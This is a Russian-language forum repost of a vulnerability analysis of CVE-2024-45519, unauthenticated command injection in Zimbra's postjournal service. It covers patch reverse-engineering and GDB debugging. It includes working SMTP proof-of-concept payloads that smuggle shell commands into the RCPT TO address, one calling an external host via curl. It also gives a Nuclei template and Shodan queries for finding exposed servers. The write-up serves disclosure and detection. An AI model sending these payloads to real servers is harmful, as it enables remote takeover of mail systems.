Zimbra — выполнение удалённых команд (CVE-2024-45519)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://projectdiscovery.io/blog/zimbra-remote-code-execution

Zimbra, широко используемая платформа для электронной почты и совместной работы, недавно выпустила критическое обновление безопасности, устраняющее серьёзную уязвимость в своём сервисе postjournal. Эта уязвимость, обозначенная как CVE-2024-45519, позволяет злоумышленникам, не прошедшим аутентификацию, выполнять произвольные команды на установленном Zimbra. В этой статье блога мы подробно рассмотрим природу этой уязвимости, наш анализ исправления и шаги, которые мы предприняли, чтобы использовать её вручную. Мы также обсудим потенциальные последствия и подчеркнём важность своевременного применения исправлений.

Что в этом патче?

Мы обнаружили, что Zimbra использует корзину S3 s3://repo.zimbra.com для размещения пакетов и исправлений. К счастью, корзина была общедоступной, что позволило нам найти необходимое исправление.

Чтобы начать наш анализ, мы получили исправленную версию двоичного файла postjournal из последнего пакета исправлений Zimbra: Пакет исправлений Zimbra

Когда распаковали файл .deb, мы получили исправленный двоичный файл postjournal, расположенный по адресу ./opt/zimbra/lib/patches/postjournal.

Вместо того, чтобы сравнивать двоичные файлы, мы выбрали более быстрый способ — инвертировать двоичный файл с помощью Ghidra. Мы искали важные функции, такие как system и exec*, и обнаружили функцию с именем run_command. На эту функцию ссылалась read_maps функция, что побудило нас изучить read_maps и отследить её ссылки до функции main.

Мы установили следующую иерархию вызовов методов:

Код: Скопировать в буфер обмена
Код:
main
└── msg_handler(MSG *msg)
    └── expand_addrs
        └── address_lookup
            └── map_address
                └── read_addr_maps
                    └── read_maps
                        └── run_command
                            └── execvp

В исправленной версии используется execvp и пользовательский ввод передаётся в виде массива, что предотвращает прямую инъекцию команд. Кроме того, мы заметили появление функции is_safe_input, которая очищает вводимые данные перед их передачей в execvp. Мы изучили эту функцию, чтобы выявить специальные символы, которые могут привести к инъекции команд.

Код: Скопировать в буфер обмена
Код:
int is_safe_input(char *input) {
    if (input == NULL || *input == '\0') {
        return 0;
    }
    for (char *c = input; *c != '\0'; c++) {
        if (*c == ';' || *c == '&' || *c == '|' || *c == '`' || *c == '$' ||
            *c == '(' || *c == ')' || *c == '<' || *c == '>' || *c == '\\' ||
            *c == '\'' || *c == '\"' || *c == '\n' || *c == '\r') {
            return 0;
        }
    }
    return 1;
}

Сравнение бинарников

Чтобы понять, в чём заключается уязвимость в версии без исправлений, мы получили исходное программное обеспечение: пакет Zimbra без исправлений

Мы установили эту версию на нашем тестовом сервере и провели реверс-инжиниринг бинарника postjournal. Удивительно, но мы обнаружили, что в нем не было вызовов execvp или функции с именем run_command. Вместо этого в функции read_maps был сделан прямой вызов popen, передающий строку, сформированную на основе нашего ввода, без какой-либо санации.

Пошаговое руководство по бинарнику postjournal

Внутри основной функции, когда инициируется SMTP-соединение, вызывается функция msg_handler, которая, в свою очередь, обрабатывает объект MSG.

image-1.jpg



Функция msg_receiver вызывает функцию msg_handler, которая извлекает адреса получателей из команды SMTP RCPT TO:<...>, которая хранится в переменной msg->rcpt_addresses. Значение msg->rcpt_addresses устанавливается внутри msg_receiver функцией rcpt_to_handler.

image--14-.jpg



Затем вызывается функция expand_addrs с этими адресами.
Screenshot_2024-09-28_at_12.jpg



Внутри функции expand_addrs вызывается функция address_lookup с теми же адресами.

image-2.jpg



Внутри функции address_lookup вызывается функция map_address.

Screenshot_2024-09-28_at_12 (1).jpg



image-1-3.jpg



Это приводит к вызову функции read_addr_maps, которая в конечном итоге вызывает функцию read_maps.

Внутри функции read_maps создается строка команды с использованием форматной строки, которая включает адрес, представленный пользователем.


Screenshot_2024-09-28_at_12 (2).jpg



Screenshot_2024-09-28_at_12 (3).jpg



В конце концов, вызывается popen с созданной строкой команды, напрямую используя наш ввод.

Динамический анализ бинарных файлов с помощью GDB

Согласно нашему статическому анализу, мы предполагали, что следующее SMTP-сообщение должно привести к инъекции команд в сервис postjournal, работающий на порту 10027 (на интерфейсе loopback).

Bash: Скопировать в буфер обмена
Код:
EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb;touch${IFS}/tmp/pwn;"@mail.domain.com>
DATA
aaa
.

Чтобы подтвердить наши выводы, мы установили точку останова в GDB в функции read_maps, а затем перед вызовом popen в этой же функции.

image-6.jpg


Мы проверили аргумент cmd, переданный в popen:

image-4.jpg



Важно отметить, что аргумент cmd заключен в двойные кавычки, что предотвращает успешную инъекцию команд с использованием простых метасимволов оболочки. Однако мы осознали, что это можно обойти, используя синтаксис $().

Мы сформулировали наш ввод, чтобы воспользоваться этим:

image-5.jpg



В результате мы успешно выполнили произвольные команды, подтвердив создание файла /tmp/pwn.

PoC

Мы протестировали эксплойт непосредственно на сервисе postjournal через порт 10027, используя следующие команды SMTP:
Код: Скопировать в буфер обмена
Код:
EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
DATA
Test message
.

Включение postjournal и эксплуатация через SMTP

Тестирование эксплойта на порту 10027 прошло успешно. Однако, при попытке использовать тот же эксплойт через SMTP на порту 25, он первоначально не сработал.

После некоторых исследований мы обнаружили, что сервис postjournal по умолчанию не включен. Чтобы активировать его, мы выполнили:
Код: Скопировать в буфер обмена
Код:
zmlocalconfig -e postjournal_enabled=true
zmcontrol restart

С включенным сервисом postjournal мы повторно запустили наш эксплойт против SMTP порта 25 и наблюдали успешное выполнение команд. Изначально мы провели этот тест на собственном сервере Zimbra для подтверждения концепции. Однако при попытке использовать уязвимость удаленно через интернет мы столкнулись с неудачами.

Ограничения

При просмотре логов мы заметили, что адрес RCPT отклоняется из-за настроек smtpd_relay_restrictions в postconf, которые по умолчанию следующие:
Код: Скопировать в буфер обмена
smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination

Эта конфигурация позволяет отправлять письма только в том случае, если клиент аутентифицирован или если клиент находится в списке mynetworks. Наша первоначальная концепция работала внутри сети, потому что мы подключались с самого сервера.

Мы проверили настройку mynetworks:
Код: Скопировать в буфер обмена
postconf mynetworks

Вывод показал:
Код: Скопировать в буфер обмена
mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20

Удивительно, но в нашей инстанции конфигурация по умолчанию включала CIDR диапазон /20 нашего публичного IP-адреса в mynetworks. Это означает, что эксплойт все еще может быть выполнен удаленно, если сервис postjournal включен, и атакующий находится в разрешенном диапазоне сети.

Автоматизация обнаружения уязвимостей с помощью Nuclei

Эту уязвимость удаленной инъекции команд можно идентифицировать с помощью следующего шаблона Nuclei:
Код: Скопировать в буфер обмена
Код:
id: CVE-2024-45519

info:
  name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
  author: pdresearch,iamnoooob,parthmalhotra,ice3man543
  severity: critical
  description: |
    SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system’s integrity and confidentiality.
  reference:
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  classification:
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
      - http.favicon.hash:1624375939
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
  tags: cve,cve2024,rce,zimbra

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let m = require('nuclei/net');
      let address = Host+":"+Port;
      let conn;
      conn=  m.Open('tcp', address)
      conn.Send('EHLO localhost\r\n');
      conn.RecvString()
      conn.Send('MAIL FROM: <aaaa@mail.domain.com>\r\n');
      conn.RecvString()
      conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');
      conn.RecvString()
      conn.Send('DATA\r\n');
      conn.RecvString()
      conn.Send('aaa\r\n');
      conn.RecvString()
      conn.Send('.\r\n');
      resp = conn.RecvString()
      conn.Send('QUIT\r\n');
      conn.Close()
      resp
    args:
      Host: "{{Host}}"
      Port: 25
      oast: "{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "message delivered"

Мы также создали pull request, чтобы включить этот шаблон в публичный репозиторий nuclei-templates на GitHub.

Capture.PNG




Заключение

Наша аналитика CVE-2024-45519 подчеркивает критическую уязвимость в сервисе postjournal Zimbra, позволяющую выполнять удаленные команды без аутентификации. Уязвимость возникает из-за несанированного пользовательского ввода, передаваемого в popen в неподpatched версии, что позволяет злоумышленникам внедрять произвольные команды.

Хотя исправленная версия внедряет санитацию ввода и заменяет popen на execvp, что смягчает возможность прямой инъекции команд, для администраторов крайне важно своевременно применять последние патчи. Кроме того, понимание и правильная конфигурация параметра mynetworks имеют большое значение, поскольку неправильные настройки могут сделать сервис уязвимым для внешней эксплуатации.

View hidden content is available for registered users!
 
Сверху Снизу